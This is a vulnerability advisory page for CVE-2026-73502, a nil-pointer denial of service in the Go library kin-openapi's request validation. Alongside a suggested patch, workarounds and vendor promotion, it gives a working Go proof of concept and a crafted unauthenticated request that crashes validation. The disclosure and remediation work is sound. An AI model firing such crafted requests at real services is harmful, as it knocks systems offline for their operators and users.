Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2026-73502

MEDIUMFix: getkin/kin-openapi@68ac2af

CVE-2026-73502 is a medium-severity (CVSS 5.3) vulnerability in github.com/getkin/kin-openapi. O3 Security confirms whether CVE-2026-73502 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

kin-openapi openapi3filter: unauthenticated nil-pointer panic when validating a request against a `content` parameter whose media type has no schema

Published
Jul 24, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 12, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐹github.com/getkin/kin-openapi

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

FieldValue
EcosystemGo
Packagegithub.com/getkin/kin-openapi
Affected versions<= 0.143.0 (introduced in v0.2.0, PR #90, 2019-05-07; reproduced on HEAD 30e2923)
Patched versions0.144.0

Summary

openapi3filter.ValidateRequest contains a NULL-pointer-dereference denial of service: any unauthenticated client can crash the request-validation path with a single HTTP request. When an operation declares a content parameter (as opposed to a schema parameter) whose media type object has no schema, request validation dereferences that missing schema and panics. The document is legal under the OpenAPI Specification — kin-openapi's own doc.Validate() accepts it — and the defect affects both OpenAPI 3.0.x and 3.1.x. Depending on how the library is wired into the server (see Impact), this ranges from a per-request abort with unbounded panic-log growth to a full remote process crash.

Details

The decoder used for content parameters when no custom ParamDecoder is configured (the library default), defaultContentParameterDecoder, dereferences the media-type schema without a nil check.

openapi3filter/req_resp_decoder.go, around line 197:

mt := content.Get("application/json")
if mt == nil {                       // media-type OBJECT is guarded ...
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
outSchema = mt.Schema.Value          // ... but mt.Schema is NOT — panics when nil

The function guards param.Content == nil, len(content) != 1, and mt == nil, but never mt.Schema == nil.

Why a schema-less content parameter is legal (so the sink is reachable — doc.Validate() returns no error), in both 3.0.x and 3.1.x:

  • openapi3/parameter.goParameter.Validate only enforces exactly one of schema XOR content; a parameter with content (and no schema) satisfies it.
  • openapi3/media_type.goMediaType.Validate validates the schema only when it is non-nil, so an absent schema is not a validation error.

Call path to the panic:

ValidateRequest                          openapi3filter/validate_request.go:83
  └─ ValidateParameter                   openapi3filter/validate_request.go:177   (parameter.Content != nil)
       └─ decodeContentParameter         openapi3filter/req_resp_decoder.go:166   (attacker supplies value ⇒ found)
            └─ defaultContentParameterDecoder   openapi3filter/req_resp_decoder.go:197   ← nil deref / panic

Authentication note: ValidateRequest validates security before parameters, but the panic is reachable without credentials whenever the target operation declares no security requirement, or when no AuthenticationFunc is configured (it is opt-in). A single unauthenticated operation anywhere in the served spec is sufficient. If an operation does declare security and a rejecting AuthenticationFunc is wired, that request is rejected before decoding.

PoC

Reproduced end-to-end against HEAD (30e2923) with a real net/http server and a stock http.Client.

1. Minimal OpenAPI 3.0.3 document (legal — doc.Validate() passes). The cfg query parameter uses content with an application/json media type that has no schema:

openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}

2. A complete, self-contained program. Drop this into a directory inside a checkout of github.com/getkin/kin-openapi and run it with go run .. It loads the document above, asserts doc.Validate() accepts it (proving reachability), serves it behind request validation exactly as the recommended middleware does, and sends one unauthenticated GET /c?cfg=1:

package main

import (
	"context"
	"fmt"
	"net/http"
	"net/http/httptest"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: 3.0.3
info: {title: poc, version: "1.0.0"}
paths:
  /c:
    get:
      parameters:
        - name: cfg
          in: query
          content:
            application/json: {}      # media type object with NO schema
      responses:
        "200": {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, err := loader.LoadFromData([]byte(spec))
	if err != nil {
		panic(err)
	}
	// Reachability: the malformed-but-legal document must validate.
	if err := doc.Validate(context.Background()); err != nil {
		panic("doc.Validate rejected the spec, not reachable: " + err.Error())
	}
	router, err := gorillamux.NewRouter(doc)
	if err != nil {
		panic(err)
	}

	// Handler mirrors openapi3filter.ValidationHandler: find route, validate.
	h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		route, pathParams, err := router.FindRoute(r)
		if err != nil {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		// Panics here on the crafted request (req_resp_decoder.go:197).
		if err := openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
			Request:    r,
			PathParams: pathParams,
			Route:      route,
			Options:    &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		}); err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
		w.WriteHeader(http.StatusOK)
	})

	srv := httptest.NewServer(h)
	defer srv.Close()

	// The single, unauthenticated attack request.
	resp, err := http.Get(srv.URL + "/c?cfg=1")
	if err != nil {
		// Expected: the server goroutine panicked, so the client sees EOF.
		fmt.Printf("client received an aborted response (expected): %v\n", err)
		return
	}
	defer resp.Body.Close()
	fmt.Printf("UNEXPECTED: got HTTP %d without a panic\n", resp.StatusCode)
}

3. Observed result — the request goroutine panics inside validation, and the client's http.Get returns an EOF:

http: panic serving 127.0.0.1:xxxxx: runtime error: invalid memory address or nil pointer dereference
github.com/getkin/kin-openapi/openapi3filter.defaultContentParameterDecoder(...)
	openapi3filter/req_resp_decoder.go:197
github.com/getkin/kin-openapi/openapi3filter.decodeContentParameter(...)
	openapi3filter/req_resp_decoder.go:166
github.com/getkin/kin-openapi/openapi3filter.ValidateParameter(...)
	openapi3filter/validate_request.go:177
github.com/getkin/kin-openapi/openapi3filter.ValidateRequest(...)
	openapi3filter/validate_request.go:83

Swapping the media type for one that carries a schema (application/json: {schema: {type: object}}) makes the same request return a clean 400 instead of panicking, confirming the missing schema is the cause.

Impact

This is an unauthenticated remote denial of service (CWE-476) against any service that validates incoming requests with openapi3filter and serves a spec containing at least one content parameter whose media type lacks a schema.

The precise consequence depends on which goroutine runs the panic and whether a recover() covers it:

WiringRecovered by net/http?Result
Synchronous middleware / handler on net/http (incl. openapi3filter.ValidationHandler)YesProcess survives; the one request is aborted. A remote unauthenticated party can still drive connection churn + unbounded http: panic serving log growth.
ValidateRequest on an app-spawned goroutine (fan-out, errgroup, async pre-check)NoWhole process crashes on a single unauthenticated request unless the app added its own recover().
Non-net/http host (fasthttp adaptor, gRPC-gateway shim, CLI, offline/batch spec validator)NoWhole process crashes.

This is why the suggested CVSS uses A:L (Base 5.3): under the recommended synchronous net/http wiring the panic is recovered per-connection. Reviewers may reasonably raise it to A:H (Base 7.5) for the spawned-goroutine and non-net/http integrations, where a single request kills the process.


Remediation (suggested)

Add a mt.Schema == nil guard mirroring the existing mt == nil guard, so a schema-less content parameter yields a clean validation error instead of a panic:

mt := content.Get("application/json")
if mt == nil {
    err = fmt.Errorf("parameter %q has no content schema", param.Name)
    return
}
if mt.Schema == nil {
    err = fmt.Errorf("parameter %q content media type has no schema", param.Name)
    return
}
outSchema = mt.Schema.Value

The unmarshal closure immediately below already tolerates a nil schema (it checks paramSchema != nil), so returning early on nil mt.Schema is consistent with surrounding intent.

Workarounds for consumers, pending a patch:

  • Ensure every content parameter in served specs declares a schema, or reject such specs at load time.
  • Supply a custom ParamDecoder that guards mt.Schema == nil.
  • Run request validation inside a handler with an explicit recover() — especially if validation runs off the request goroutine or on a non-net/http host.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/getkin/kin-openapiall versions0.144.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/getkin/kin-openapi. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/getkin/kin-openapi to 0.144.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-73502 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether CVE-2026-73502 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to CVE-2026-73502. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

| Field | Value | |---|---| | Ecosystem | Go | | Package | `github.com/getkin/kin-openapi` | | Affected versions | `<= 0.143.0` (introduced in `v0.2.0`, PR #90, 2019-05-07; reproduced on `HEAD` `30e2923`) | | Patched versions | 0.144.0 | --- ### Summary `openapi3filter.ValidateRequest` contains a NULL-pointer-dereference denial of service: any **unauthenticated** client can crash the request-validation path with a **single** HTTP request. When an operation declares a `content` parameter (as opposed to a `schema` parameter) whose media type object has **no `schema`**, request validation deref
O3 Security · Impact-Aware SCA

Is CVE-2026-73502 in your dependencies?

O3 detects CVE-2026-73502 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.